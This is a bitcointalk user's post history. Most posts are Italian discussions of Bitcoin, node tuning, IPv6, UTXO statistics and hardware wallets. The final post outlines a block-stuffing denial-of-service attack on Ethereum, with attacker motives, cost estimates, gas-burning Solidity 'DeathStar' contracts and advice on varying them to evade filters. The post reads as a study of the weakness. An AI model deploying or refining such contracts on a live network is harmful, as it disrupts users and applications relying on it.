1
|
Local / Italiano (Italian) / Riflessioni sui massimi crypto-sistemi
|
on: June 19, 2022, 08:59:00 AM
|
AKA: Riflessioni in una domenica d'estate sulla lunga storia tra me e Bitcoin  Quando 9 anni fa mi sono iscritto a questo forum, il 95% delle discussioni riguardavano concetti, meccanismi e filosofia che stavano dietro alla grande novita' che era Bitcoin. A quei tempi c'erano fondamentalmente 2 altcoin: XRP (che era considerata una roba che non meritava neppure il titolo di altcoin in quanto centralizzata) e LTC (che era considerata una furbesco e innocquo tentativo di copia di BTC). Poi c'erano gli exchange da prendere sempre e assolutamente con le pinze, in quanto facevano tornare dalla finestra quanto si voleva buttar fuori dalla porta: doversi fidare di qualcuno che non si conosce e che fondamentalmente si fara' i suoi interessie non certo i tuoi. sono passati 9 anni ed il terzo crypto-winter che affronto, e ne sono successe di cose: Le alt-coin (tra vere blockchain e token) sono quasi 20.000 a dar retta a coinmarketcap Sono nate le alt-coin programmabili, anche se i programmi si chiamano smart-contract son pur sempre un set di istruzioni per fare qualcosa. E' nata la defi, basata sulla possibilita' di programmare certe blockchain. Sono nate le stable-coin, alcune centralizzate ed altre algoritmiche. Sono nati gli NFT Gli exchange sono migliaia. E la lista potrebbe protrarsi tantissimo, ma mi fermo qui, e' sufficente per esporre il concetto che voglio descrivere. E' evidente che in tutto questo fervore, le novita' sono tantissime: poche veramente intelligenti, alcune inutili, molte stupide e dannose e tantissime vere e proprie truffe. Ma se volessi fare una sintesi della vera differenza che ho notato in tutti questi anni, eccola: mi trovo sempre piu' spesso a discutere di dovermi fidare di questo o di quell'altro, e sempre di meno a parlare del concetto rivoluzionario di Bitcoin che era proprio poter per la prima volta distribuire la fiducia e non doversi piu' fidare di nessuno. E cosi' mi ritrovo a discutere di quanto bitcoin e' pou' o meno correlato agli asset tradizionali della finanza e alle decisoni di politica monetaria O mi ritrovo a discutere di quanto sia impossibile che un certo exchange possa lasciare i clienti in braghe di tela o metterli alle strette O mi ritrovo a discutere di quanto sia difficile che una certa stablecoin perda il PEG Ognuno di questi argomenti, di per se', ha effettivamente un suo interesse, una sua indubbia importanza, e sarebbe perlomeno ingenuo pensare che un fenomeno come Bitcoin possa crescere senza intrecciarsi inevitabilmente col resto della finanza e ancor piu' a fondo con la vita delle persone. MA Vorrei ricordare prima di tutto a ME, e anche a chi ha voglia di seguire il ragionamento, che bitcoin era nato proprio per non doversi piu' fidare di nessun tipo di organizzazione centralizzata, formata da una persona o gruppi di persone, e quindi non doversi piu' trovarsi assogettati a certi tipi di dinamiche, e fondamentalmente ricatti. invece mi trovo a dire che spero che le tether e le altre stable non perdano il PEG, perche' altrimenti sarebbe un casino, E spero anche che Binance, Bitfinex e compagni siano davvero abbastanza onesti e ben organizzati da non aver problemi... (non basta onesti, devono anche avere abbastanza controlli interni per far si che un dipendente/gruppo di dipendenti truffatare non li manometta dall'interno) E spero che la finanza tradizionale o qualche stato non si organizzi per portare sotto traccia una attacco mirato proprio a questi exchange e/o a queste stable che sono i "balurdi" del mondo crypto (Gli usa ad esempio potrebbero tranquillamente organizzare una roba del genere per cercare di disinnescare altri casi alla El salvador) E spero che nessuno della pletora di nuovi protocolli che nascono (vedi TERRA-LUNA) non siano inventati a scopi truffaldini, e se anche sono inventati in buona fede, devo sperare che non ci siano bug/errori/sviste che impediscano il corretto funzionamento. E spero anche che i vari investitori che hanno investito miliardi di $ in fondi di crypto, avessero abbastanza soldi per farlo, e non li abbiano presi in prestito a condizioni che in mercato veramente bear non possono onorare. E spero che i vari CEFI/DEFI stiano offrendo interessi che veramente potevano pagare, e non fossero invece sistemi per fregare preziosi Bitcoin alla gente. E cosi' di speranza in speranza, mi rendo conto che mi ritrovo legato ancor piu' legato ai destini di entita' ingote e centralizzate rispetto ai tempi della finanza "tradizionale" E mi rendo anche conto che in questa catena di speranze e' impossibile che vada tutto per il verso giusto.E sopratutto mi chiedo: perche' ho questa catena di speranze, che con la natura di bitcoin fondamentalmente non c'entra nulla, visto che l'unica certezza che ho e' che qualsiasi cosa succeda NESSUNO PUO' PORTARMI VIA I MIEI BITCOIN ? La risposta onesta e' che ho tutte queste speranze perche' non mi aggrada che prezzo di bitcoin (ossia il rapporto BTC/USD) crolli.E qui sta finalmente la vera spietata conclusione di tutto questo ragionamento: Ma che si fottano tutti: La FED, La BCE, l'FMI, Il NASDAQ, le alt-coin che non possono funzionare by-design, quelle che si spaccano per errori, le stable-coin che servono solo a speculare, i gattini e le scimmie digitali, I fondi che fanno il passo piu' lungo della gamba, Cefi e Defi che promettono interessi insostenibili e spietatamente anche tutta la gente che crede in queste cazzate. Se per ripulirsi da questa circo il prezzo di Bitcoin deve scivolare a 1000$, o a 100$ o a 10$ mi sta bene, non ho nessuna intenzione di farmi ricattare da queste dinamiche, le stesse dinamiche del mondo fiat che sta andando rapidamente al collasso. Eventualmente sara' un'occasione per aumentare le mie preziose riserve di BTC. Che si fottano tutti: io ho una certezza assoluta: Ho i miei bitcoin e nessuno me li puo' portare via, se io non sono cosi' stupido da farmeli portare via, e tutto il resto puo' tranquillamente andare al diavolo. E cosi' posso rifocalizzarmi su speranze piu' consone: Spero che tutte le strutture inutili, malfunzionanti o truffaldine del mondo crypto vengano spazzate via o almeno fortemente ridotte. Spero che alla fine di questo doloroso processo, sempre piu' gente conosca o ri-conosca bitcoin come unica spiaggia sicura.
|
|
|
3
|
Local / Guide (Italiano) / [GUIDA] Come utilizzare un incisore laser per il backup fisico della Seed Phrase
|
on: June 03, 2022, 12:54:31 PM
|
Premessa: Questo thread vuole essere un complemento all'ottimo post di filippone https://bitcointalk.org/index.php?topic=5388917.0In particolare, voglio suggerire come utilizzare un incisore laser per incidere le rondelle anziche' usare mazzetta e punzoni. Il costo (se non avete gia' un incisore laser) sara' sicuramente superiore a mazzetta/punzoni, il vantaggio e' che vi metterete in casa un attrezzo veramente versatile e divertente che potrete riutilizzare per tanti lavori hobbistici. Resta valido cio' che descritto nel post di filippone per quel che riguarda gli obiettivi e i vari materiali da utilizzare (bulloni, rondelle, contenitore sigillato ecc.) mentre NON servira' il materiale per l'incisione (mazza, punzoni, dime ecc) sostituito dall'incisore laser.
Cenni storici Per tanti anni l'incisione laser e' stato un settore quasi esclusivamente professionale in quanto gli apparati laser basati su tubi a CO2 avevano costi esorbitanti. Con l'uscita dei laser basati su tecnologia LED, di dimensioni e costi molto piu' contenuti, sono apparse le prime applicazioni hobbistiche. La grossa limitazione dei laser led e' la potenza ottica ottenibile: Mentre nei laser CO2 si puo' arrivare a 100 e piu' watt ottici, nei laser a led si parlava di frazioni di watt ottico. La tecnologia pero' continua sempre a progredire, e recentemente sono apparsi laser led con potenze ottiche che cominciano ad essere interessanti, di qualche watt. Attualmente si trovano a costi praticamente irrisori apparati laser led che hanno potenze ottiche di 5W e persino 10w (ottenute convergendo in un unico punto la potenza ottica di due o piu'led) Altro settore di perfezionamento sono la riduzione della dimensione del punto di fuoco, infatti 5w ottici concentrati in un quadrato da 0.5x0.5 mm sono altra cosa rispetto a 5w ottici concentrati in 0.2x0.2mm, ovviamente nel secondo caso abbiamo un notevole aumento della precisione ed un aumento della quantita' di potenza sull'area colpita. Infine anche sul settore della sicurezza sono stati fatti notevoli progressi. I primi laser hobbistiici, avevano il laser che distava alcuni centimentri dal pezzo, e gran parte del percorso del raggio era visibile. Questo vuol dire che era facilissimo creare incidenti, guardando direttamente il raggio di luce ad altissima intensita'. Attualmente, le conformazioni dei laser tendono ad avere una protezione che copre il raggio fino a (quasi) filo pezzo, in modo da minimizzare (tendenzialmente annullare) la parte di raggio visibile.
Il mio incisore laser hobbistico Un incisore laser e' fondamentalmente una macchina a controllo numerico (CNC) dotata di due assi (X e Y) per spostare l'emettitore laser, piu' un controller per gestire la potenza del laser. I comandi vengono passati alla macchina attraverso un liguaggio chiamato GCODE che e' una sorta di assembler delle macchine CNC, ossia una serie di comandi che indicano dove spostare l'attrezzo e con che potenza usarlo. Lo stesso linguaggio gcode viene usato ad esempio anche nelle stampanti 3d, anche se in quel caso esiste un terzo asse Z, e invece che pilotare la potenza di un laser si pilota l'estrusione di materiale. L'incisore laser che ho usato e' un ATOMSTACK 5A PRO+, modello uscito da poco, che ha una potenza ottica di 5W e un punto di fuoco da 0.23mmx0.23mm https://www.atomstack.net/collections/laser-engraver/products/upgraded-atomstack-a5-pro-40w-laser-engraving-machineAttenzione, come in ogni cosa in campo hobbistico/consumer, il marketing fa di proposito una grande confusione. Spesso in queste macchine vedete citato 20W, 30W, 40W... ma spesso si tratta di watt di assorbimento elettrico. L'unico parametro importante sono i watt ottici e la dimensione del punto di fuoco, il resto e' fuffa marketing (anche questo dispositivo potrebbe sembrare da 40W, ma ha soli 5W ottici) Ovviamente si tratta di un prodotto cinese, ma devo dire che vista la semplicita' della meccanica e le poche sollecitazioni alle quali e' sottoposta la struttura, nel complesso e' tutto ben fatto. Io l'ho comprato su banggood e mi e' arrivata in una settimana, senza nessun problema: https://www.banggood.com/it/New-ATOMSTACK-A5-PRO+-Upgraded-Laser-Engraving-Machine-Cutter-Wood-Cutting-Design-Desktop-DIY-Laser-Engraver-New-Eye-Protection-Design-Ultra-Fine-Laser-Focal-Area-p-1910340.html?cur_warehouse=CZIl prezzo e' secondo me relativamente basso visto la grande quantita' di cose che si possono fare, e girando un po' tra i vari "promoter youtuber" trovate facilmente anche dei coupon di sconto (io ne ho trovatouno da 10% di sconto) * Io non sono promoter di nessuno e non offro coupon, semplicemente ho scelto questo oggetto dopo qualche ricerca, magari ce ne sono anche di migliori a minor prezzo.
Alcune considerazioni PRIMA di comprare un oggetto del genere: Pro: Semplicissimo da montare/installare (arriva smontato) non richiede nessuna particolare abilita' o skill meccanico. Incide perfettamente legno, compensato, cuoio, carta, cartone, plastica, ACCIAIO INOX (no altri metalli, non incide alluminio) Taglia alcuni materiali: Legno o compensato sottile, fino a 5mm. Non taglia nessun metallo.Ad esempio incidendo e tagliando compensato, potete fare un sacco di lavori di modellistica veramente divertenti e interessanti, con una precisione IMPRESSIONANTE. Contro: Mentre incide e/o taglia, il materiale emette fumo/gas. NON pensate di mettervi un attrezzo simile in casa/ufficio, vi appesterebbe gli ambienti. In generale dovete pensare di posizionarlo in una zona di lavoro (garage, laboratorio, ecc.) ben aerata, e possibilmente attrezzata con qualcosa per aspirare i fumi. L'emissione laser e' pericolosa per gli occhi. Nonostante recentemente queste macchine siano migliorate molto sul fronte sicurezza, NON USATELA senza occhiali di protezione. Mentre incide e/o taglia, scalda il materiale, questo vuol dire che il rischio di un innesco di fiamma e' sempre possibile. Non lasciatelo senza nessun controllo a lavorare per ore. (... segue descrizione del software)
|
|
|
4
|
Local / Off-Topic (Italiano) / Sistemi di connettivita' alternativi.
|
on: February 28, 2022, 11:13:54 AM
|
Visto che l'aria sta diventando un po' pesante, mi sono chiesto che opzioni ci sono per una eventuale connettivita' alternativa.
Supponiamo che le cose si mettano male e i fornitori tradizionali di connettivita' (Tim, Fastweb, Wind ecc) smettano di funzionare, o filtrino certi tipi di connettivita', o qualsiasi cosa che ci potrebbe tagliare fuori dalla connettivita internet.
Purtroppo se non posso connettermi, dei bitcoin me ne faccio poco...
Che sistemi alternativi (e super resilienti) di connettivita' conoscete?
Da giovane mi ero divertito un po' con IP over HAM radio, ma si ottenevano bande ridicole e non so neppure se esista ancora.
Oppure varie reti satellitari... insomma sparate cosa conoscete nel campo della connettivita' alternativa ad alta resilienza, cosi' per divertirci un po'.
|
|
|
5
|
Local / Off-Topic (Italiano) / IPv6
|
on: January 13, 2022, 08:09:47 PM
|
In questi giorni ho lavorato parecchio sulla messa a punto di un full node Bitcoin. Una delle cose che ho notato e' che molti nodi bitcoin in giro per il mondo sono gia' pienamente IPv6. La cosa mi ha incuriosito (anche professionalmente) e mi sono aggiornato sulla diffusione di IPV6. I dati mi hanno molto colpito: https://www.google.com/intl/en/ipv6/statistics.htmlgoogle da' una diffusione di IP6 quasi al 35% nel mondo. Vebbe' uno dice, google potrebbe essere di parte. Guardiamo i dati del RIPE: https://sg-pub.ripe.net/stats/ipv6/adoption/20200601/ipv6.htmli dati per l'italia sono sconsolanti: mentre i paesi piu' avanzati d'europa stanno rapidamente adottando IPv6, noi siamo tra i piu' indietro d'europa. E questo mi spiega perche' parecchi nodi bitcoin tedeschi e inglesi sono gia' pienamente IPv6. Ho anche scoperto che Fastweb, Telecom e altri provider di comunicazione hanno (ovviamente) gia' pronta una serie di risorse IPv6. Tutto questo per dirvi che questa cosa va tenuta strettamente monitarata, in quanto presto (un anno? due? tre?) in Italia IMROVVISAMENTE scopriremo che esiste IPV6 e che dobbiamo adeguarci entro ieri.
|
|
|
8
|
Local / Italiano (Italian) / Tabelle e grafici statistiche on-chain
|
on: January 04, 2022, 01:03:47 PM
|
Visto che mi trovo un nodo funzionante, ho "riesumato" i miei vecchi programmi di statistiche. Prima di farli girare su un lungo periodo, un anno o piu', il che vuol dire giorni di elaborazione, vorrei prima mettere a punto bene i dati da estrarre, per quello vorrei un feedback da voi. Vi presento qui una prima bozza dei risultati fatti sul mese di dicembre e su quello di novembre 2021: Quello che mi interesserebbe avere sopratutto sono dei range di valori "significativi", che diano indicazioni interessanti sui flussi di BTC, in pratica una cosa tipo la tabella che si trova qui https://bitinfocharts.com/top-100-richest-bitcoin-addresses.htmlma con un miglior sezionamento e sopratutto con un paragone dell'andamento tra mese e mese. Ogni suggerimento e' quindi ben accetto. --------------------------------------------------------------------------------------------------------------------------------------------------- block# 712008 2021-11-30 23:52:12 num %of tot %dead diff prev value %TotVal %vdead diff prev --------------------------------------------------------------------------------------------------------------------------------------------------- = DUST (<= 500 sat) 844523 2.15% 33.75% 0.35734 0.00% 16.44% 0.00000 > DUST <= 0.001 BTC 19430800 49.51% 0.10% 4507.89909 0.02% 0.36% 0.00000 > 0.001 BTC <= 0.01 BTC 9825143 25.03% 0.15% 39696.79980 0.21% 0.27% 0.00000 > 0.01 BTC <= 0.1 BTC 5947996 15.16% 0.73% 203964.13039 1.08% 0.86% 0.00000 > 0.1 BTC <= 1 BTC 2470033 6.29% 0.68% 847235.68311 4.49% 1.13% 0.00000 > 1 BTC <= 5 BTC 503673 1.28% 1.34% 1075946.23224 5.70% 1.61% 0.00000 > 5 BTC <= 10 BTC 83756 0.21% 1.99% 618134.25515 3.27% 2.05% 0.00000 > 10 BTC <= 25 BTC 55253 0.14% 1.66% 863250.90846 4.57% 1.54% 0.00000 > 25 BTC <= 50 BTC 55934 0.14% 60.76% 2474523.91623 13.10% 68.62% 0.00000 > 50 BTC <= 75 BTC 8239 0.02% 3.77% 478435.35884 2.53% 3.32% 0.00000 > 75 BTC <= 100 BTC 5017 0.01% 0.26% 451887.77892 2.39% 0.27% 0.00000 > 100 BTC <= 500 BTC 10996 0.03% 0.24% 2166807.33573 11.47% 0.23% 0.00000 > 500 btc <= 1000 BTC 2565 0.01% 0.16% 1801380.19739 9.54% 0.17% 0.00000 > 1000 btc <= 10000 BTC 2059 0.01% 0.05% 5283988.55348 27.98% 0.06% 0.00000 > 10000 BTC 84 0.00% 0.00% 2577590.63615 13.65% 0.00% 0.00000 Totale Attivi 39246071 100.00% 1.08% 18887350.04229 100.00% 9.43% 0.00000 Transazioni 691246318 0.00% 0.00% 0.00000 0.00% 0.00% 0.00000 --------------------------------------------------------------------------------------------------------------------------------------------------- block# 716595 2021-12-31 23:55:23 num %of tot %dead diff prev value %TotVal %vdead diff prev --------------------------------------------------------------------------------------------------------------------------------------------------- = DUST (<= 500 sat) 872671 2.20% 32.66% 28148 0.47196 0.00% 12.45% 0.11462 > DUST <= 0.001 BTC 19814207 50.05% 0.09% 383407 4575.62345 0.02% 0.35% 67.72435 > 0.001 BTC <= 0.01 BTC 9763105 24.66% 0.15% -62038 39315.42003 0.21% 0.27% -381.37977 > 0.01 BTC <= 0.1 BTC 5938610 15.00% 0.73% -9386 203432.07778 1.08% 0.86% -532.05261 > 0.1 BTC <= 1 BTC 2470885 6.24% 0.68% 852 848197.71973 4.48% 1.13% 962.03662 > 1 BTC <= 5 BTC 504493 1.27% 1.34% 820 1077812.15637 5.70% 1.61% 1865.92413 > 5 BTC <= 10 BTC 84525 0.21% 1.97% 769 623261.54598 3.29% 2.03% 5127.29083 > 10 BTC <= 25 BTC 54660 0.14% 1.68% -593 852766.45814 4.51% 1.56% -10484.45032 > 25 BTC <= 50 BTC 55607 0.14% 61.11% -327 2463797.06977 13.02% 68.91% -10726.84645 > 50 BTC <= 75 BTC 8353 0.02% 3.70% 114 482592.81215 2.55% 3.27% 4157.45331 > 75 BTC <= 100 BTC 4971 0.01% 0.26% -46 447938.29774 2.37% 0.27% -3949.48118 > 100 BTC <= 500 BTC 10931 0.03% 0.24% -65 2157052.25941 11.40% 0.23% -9755.07632 > 500 btc <= 1000 BTC 2600 0.01% 0.15% 35 1837744.87464 9.72% 0.16% 36364.67725 > 1000 btc <= 10000 BTC 2022 0.01% 0.05% -37 5142934.42031 27.19% 0.06% -141054.13317 > 10000 BTC 89 0.00% 0.00% 5 2734597.58399 14.46% 0.00% 157006.94784 Totale Attivi 39587729 100.00% 1.07% 341658 18916018.79143 100.00% 9.41% 28668.74914 Transazioni 699368993 0.00% 0.00% 8122675 0.00000 0.00% 0.00% 0.00000
num : number of addresses in this range of balance %of tot : percentage of the number of addresses %dead : percentage of active addresses with input and output operations prior to 2012 diff prev: number variation compared to the previous table %TotVal : % value of this range compared to the total value %vdead : % operations value prev 2012 ( % value of range)) diff prev: change in value compared to the previous table
gbianchi bitcointalk.org
|
|
|
9
|
Local / Italiano (Italian) / Erlay, il nuovo protocollo di relay bitcoin.
|
on: January 01, 2022, 06:23:37 PM
|
Sempre a seguito dei miei studi su un nodo bitcoin veloce, ho trovato che esiste un sacco di movimento per quel che riguarda l'ottimizzazione del relay tra nodi. In passato erano state fatte alcune implementazioni chiamate FIBER, FALCON e Fast Relay Network, che servivano principalmente per la rete dei miner. https://bitcoinmagazine.com/technical/how-falcon-fibre-and-the-fast-relay-network-speed-up-bitcoin-block-propagation-part-1469808784questi 3 progetti sono attualmente abbandonati. E' invece in corso di implementazione Erlay un nuovo protocollo di relay basato sulla libreria Minisketch. Sinteticamente, i nodi invece che flooddarsi le transazioni da eseguire, come fanno ora, si scambiano delle rappresentazioni compatte, o sketch che poi verificano con un processo chiamato "riconciliazione" Lo sviluppo di erlay e' attivo da due anni, e la prima versione e' stata scartata, perche' aveva parecchi difetti. Ora e' in fase di merge finale una seconda versione, che forse sara' gia' presente nella prossima versione di Bitcoin Core. La cosa interessante e' che dalle analisi statistiche si evince Erlay consuma molto meno banda rispetto al flooding, permettendo quindi alla rete di scalare molto meglio, anche verso connettivita' piu' ridotte (es: paesi meno acanzati) In pratica un grande passo avanti per una migliore scalabilita' dei nodi. Per chi vuol approfondire: Lo sviluppo: https://github.com/bitcoin/bitcoin/pull/21515Il BIP 330 (aggiornato) che definisce erlay: https://github.com/naumenkogs/bips/blob/bip_0330_updates/bip-0330.mediawikiUn paper di studio: https://people.ece.ubc.ca/sasha/papers/ccs19.pdfLa libreria miniscketch: https://github.com/sipa/minisketch
|
|
|
10
|
Local / Italiano (Italian) / UTXO Dust
|
on: December 30, 2021, 05:29:28 PM
|
Sempre ravanando nei sorgenti di bitcoin, ho trovato questo: nel file bitcoin/src/policy/policy.cpp viene definito il concetto di "dust", ossia di UTXO con un valore cosi' basso che non conviene transare, in quanto le fee spese per fare la transazione costano piu' del valore dell'UTXO stess. (Do' per scontato che sappiate cos'e' un UTXO) // "Dust" is defined in terms of dustRelayFee, // which has units satoshis-per-kilobyte. // If you'd pay more in fees than the value of the output // to spend something, then we consider it dust. // A typical spendable non-segwit txout is 34 bytes big, and will // need a CTxIn of at least 148 bytes to spend: // so dust is a spendable txout less than // 182*dustRelayFee/1000 (in satoshis). // 546 satoshis at the default rate of 3000 sat/kvB. // A typical spendable segwit P2WPKH txout is 31 bytes big, and will // need a CTxIn of at least 67 bytes to spend: // so dust is a spendable txout less than // 98*dustRelayFee/1000 (in satoshis). // 294 satoshis at the default rate of 3000 sat/kvB.
E' ovvio che cosa si intende per "Dust" varia al variare delle fee, e piu' aumentano le fee piu' sono le UTXO inspendibili, inoltre varia anche dal tipo di transazione usata (segwit o non segwit). Per puro esercizio ho provato a fare il totale degli UTXO con un contenuto <= 500 sat un valore che in non segwit non e' spendibile, e in segwit e' veramente poco appetibile spendere. ecco i risultati al blocco 715471: tot Num UTXO 78290328 tot Num UTXO Dust 1810792 tot % DUST 2.31 tot BTC UTXO Dust 1.57701941
Non mi sembra un problema enorme, ma neppure una cosa da prendere sottogamba, sono pur sempre un gran numero di UTXO quasi certamente inutili che tutti i wallet si devono sorbire. E lo vedo anche un modo per spammare la rete ad un costo relativamente basso. Insomma un parametro sicuramente da tenere monitorato.
|
|
|
11
|
Local / Italiano (Italian) / indirizzi bech32m
|
on: December 29, 2021, 01:44:33 PM
|
In questi giorni sto smanettando coi sorgenti di bitcoin core per ottenere un full node performante. Nelle varie scorribande nel codice, ho scoperto questo, che NON sapevo, e penso sia utile condividere: Come sapete, con il segregate witness e' stato introdotto un nuovo tipo di indirizzi, il bech32, che ultimamente inizia ad essere utilizzato in modo diffuso. MA hanno scoperto che il bech32 ha un difetto (non da poco): il chechsum in certi casi e' inefficace. Quindi con la BIP 350 e' stato introdotto un nuovo tipo di indirizzo, il bech32m che andra' a sostituire i bech32 https://github.com/bitcoin/bips/blob/master/bip-0350.mediawikiCompatibility This document introduces a new encoding for v1 segregated witness outputs and higher versions. There should not be any compatibility issues on the receiver side; no wallets are creating v1 segregated witness addresses yet, as the output type is not usable on mainnet. On the other hand, the Bech32m proposal breaks forward-compatibility for sending to v1 and higher version segregated witness addresses. This incompatibility is intentional. An alternative design was considered where Bech32 remained in use for certain subsets of future addresses, but ultimately discarded. By introducing a clean break, we protect not only new software but also existing senders from the mutation issue, as new addresses will be incompatible with the existing Bech32 address validation. Experiments by Taproot proponents had shown that hardly any wallets and services supported sending to higher segregated witness output versions, so little is lost by breaking forward-compatibility. Furthermore, those experiments identified cases in which segregated witness implementations would have caused wallets to burn funds when sending to version 1 addresses. In case it is still in use, the chosen approach will prevent such software from destroying funds when attempting to send to a Bech32m address.
|
|
|
12
|
Local / Italiano (Italian) / Info su configurazione super ottimizzata di un full node bitcoin
|
on: December 07, 2021, 11:30:07 AM
|
Per un progetto che sto seguendo, ho attivato un full node bitcoin.
il nodo e' questo:
93.188.227.245:8333
Ho pero' bisogno che sia il piu' possibile veloce, soptratutto per quel che riguarda la connessione e il dialogo con gli altri nodi.
Per capirci, vorrei arrivare i primi posti della leaderboard di bitnodes.
ho gia' provveduto a metterlo in una rete affidabile, con 3 connessioni in fibra gestite via BGP per avere un uptime di rete il piu' possibile vicino al 100% e anche l'HW del nodo e' dimensionato in modo piu' che abbondante.
EDIT
Fatto, grazie.
|
|
|
13
|
Local / Italiano (Italian) / Giocherellare con il ledger nano S
|
on: November 06, 2021, 08:25:15 AM
|
Per impratichirmi mi sono comprato due ledger nano S, e mi sono venute alcune idee su come gicherellarci in modi "non convenzionali" Ho fatto una rapida ricerca su internet e, come al solito, ho scoperto che non sono stato l'unico a pensarci. https://thenextweb.com/news/ledger-nano-s-hack-cryptocurrencyhttps://securityboulevard.com/2018/03/15-year-old-finds-flaw-in-ledger-crypto-wallet/Questo mette in evidenza come ci potrebbe essere la possibilita' che qualcuno nella catena distributiva sostituisca il firmware PRIMA che la chiavetta venga consegnata, ed esponga il device alla possibilita' di attacchi esterni. https://github.com/hosseinpro/LedgerNanoSHackQuesto invece e' un progettino che fa esattamente quel che volevo fare io, ossia mettere uno "sniffer" tra il software del wallet e la porta usb di comunicazione, e vedere come si parlano il wallet e la chiavetta. Si tratta comunque di un HW proprietario, con firmware prorpietario, che tutti dobbiamo sperare non abbia qualche bug o peggio errore di progetto non ancora scoperto (o pubblicamento annunciato) In pratica il ledger aggiunge uno strato del quale ci "dobbiamo fidare" ma non vi e' certezza assoluta che funzioni correttamente, o che non possa venire hackerato anche in futuro, anche perche' questo strato non ha nulla a che vedere con i meccanismi ben noti della blockchain. Dopo soli due giorni di "spataccamento" per divertimento mi sento di dare due consigli: 1) per sicurezza ricaricate sulla chiavetta un firmware che sia sicuramente originale ledger. 2) NON FIDATEVI CIECAMENTE della chiavetta. Altre note: - Ho chiesto ad un collega che lo usa se sapeva che dopo 3 tentativi di pin sbagliati, ll device si resetta, e bisogna riattivarlo con le 24 parole.... e non lo sapeva! - Come ogni oggetto si puo' rompere, e puo' darsi che per la legge di murpy, lo faccia quando servira' urgentemente, quindi per sicurezza ne ho presi 2. - per un uso quotidiano e' innegabilmente comodo, ma per fare hodl visto che bisogna fidarsi di uno strato "ignoto", e che in ogni caso bisogna salvarsi le parole di ripristino + il pin... non e' piu' sicuro salvarsi un semplice cold-wallet?
|
|
|
15
|
Local / Italiano (Italian) / Info per un regalo in BTC.
|
on: October 15, 2021, 09:56:19 PM
|
Vorrei regalare un wallet con dentro un cospicuo importo in BTC.
La persona alla quale andra', non sa quasi nulla di questo mondo.
Pensavo quindi a un qualcosa di HW, ma non conosco per nulla i modelli e le funzioni.
Avrese la bonta' di aiutarmi a scegliere un buon prodotto, semplice, adatto ad novizio, affidabile, backuppabile, facilmente ripristinabile in caso di rottura?
Mi interessa che gestisca BTC e magari LN, non mi interessa niente delle altre crypto.
Altra cosa vorrei regalarlo gia' carico, quindi dovrebbe essere semplice cambiare eventuali password/seed SENZA RISCHIARE DI PERDERE TUTTO
Credo che questo thread potrebbe venire comodo anche ad altri per fare un eventuale regalo di natale originale ed utile.
|
|
|
16
|
Alternate cryptocurrencies / Altcoin Discussion / An attack strategy on the Ethereum network based on Block Stuffing.
|
on: September 27, 2021, 01:03:52 PM
|
An attack strategy on the Ethereum network based on Block Stuffing technique and the Deathstar smart contract.By gbianchi bitcointalk.org Translated by fillippone. This study stems from some observations: - in the Ethereum network there is no concept of a "forbidden smart contract", the network is permissionless, meaning any user could possibly enter any type of code on the network, as long as the code is formally correct and pays for executing and running the code;
- the only mechanism to "govern" the execution of the code is the fact that the execution of any smart contract costs gas, proportional to the number of instructions executed and the type of each instruction. Not necessarily each smart contract has to execute useful operations: it can create a meaningless gas-burning loop.
- once it is entered in the network, the code is immutable, so there is no way to “get rid” of the smart contract from the network unless a hard fork-type like what happened with The DAO. But while the hacker of The Dao just exploited a bug in the contract to fund its child DAOs, Ethereum's core architecture is used here, making it really difficult to design a fairly effective hard fork.
- Each block has a maximum size defined not by the size in Bytes, but by the maximum GAS that can be spent in the block.
After the London hard fork, the "normal" size of the block is variable around an average of 15,000,000 of gas and can increase up to 30,000,000 of gas based on the demand of the network, with a process called tâtonnement. Briefly, the maximum size of a block is given by BlockGasLimit. - In the past, attacks have already been performed with the BlockStuffing technique and no effective structural solutions have been found. [3]
3.3.3 DoS with Block Stuffing (V31). This vulnerability was first observed from the Fomo3D contract [23]. The vulnerability entails only the attacker's transactions being included in the newly mined blocks while others are abandoned by miners for a period of time. This can happen when the attacker offers a higher gasPrice to incentivize the miners to select the attacker's transactions. This vulnerability is caused by the greedy mining incentive mechanism. At the moment of writing, there is no solution to prevent this vulnerability.
- Advanced MEV technologies can also be used [4][5] to maximize the possibility that our smart contract is included in the next block, scanning the mempool and verifying what are the fees with the highest gwei/gas to execute the transaction with the highest probability of being included.
Based on these observations, it is possible to design a "DeathStar" smart contract whose execution costs exactly the amount of gas needed to fill the block, so that it "burns" ethers only to compete with the other smart contracts for block inclusion. Briefly, the transaction is buying the entire space of an ethereum block, and therefore does not remain any available for the execution of other smart contracts. Reasons for a BlockStuffing attackA group of attackers could be incentivized for various reasons to burn ethers to jeopardize the network, for example: - Being supporters of another competing blockchain protocol.
- Organizing a short on Ethereum before the attack, congesting the Ethereum network and short covering at lower prices, covering the initial costs of the attack and eventually profiting from it.
- Cause problems/slow down/ profit from one or more of the various smart contracts running on Ethereum to take advantage of certain conditions (prize draws, online auctions, ICOs, financial transactions on DEX, Defi, etc ... as it already is been done [2])
In general, any person or group with sufficient economical and technical means and with any type of interest in the decline of the Ethereum network and/or the smart contracts running on it , could use this line of attack. To estimate the cost involved, consider that an ethereum block is mined every approximately 15 seconds. Estimating the average block size of 15,000,000 gas, and a gas cost of 100 gwei, that's about 1.5 ETH per block. Let’s add a 10% fee to be the most competitive, we could then estimate a cost per block of about 1.65 ETH. At this cost of gas, at the current exchange rate of about $ 4,000 for an eth, an attack lasting 60 minutes would cost about 400 ETH, or about $ 1,600,000, a very small figure in relation to the value of the network of hundreds of billions of dollars.Obviously, this estimate varies according to the current cost of gas in gwei, and the eth/usd exchange rate, both of which are extremely variable. DeathStar technical descriptionUsing the solidity language, a smart contract is encoded executing a loop burning all the gas passed by the calling transaction with the GasLimit parameter. Eventually, you can create various slightly different versions of DeathStar, to make it more difficult to identify them by a possible HardFork or from a filter software added by miners or nodes, but each one of them working according to the same logic as in the examples that I will report here: Examples Code of DeathStar code: pragma solidity ^0.6.0;
// this version just before running out the gas stops, // leaving a small margin of gas to execute the return instructions without error pragma solidity ^ 0.6.0; contract DeathStar_a { function DeathLoop_a () public payable returns (bool) { uint left = 0; while (true) { left = gasleft (); // just before finishing the gas stops, // leave a small margin of gas to execute the return statements without error if (left <1000) { break; } } return (true); }
// this version loops until it reaches the out of gas error. pragma solidity ^ 0.6.0; contract DeathStar_b { function DeathLoop_b () public payable returns (bool) { while (true) { } return (true); } } }
Brief description of the dynamics of the BlockStuffing attack:
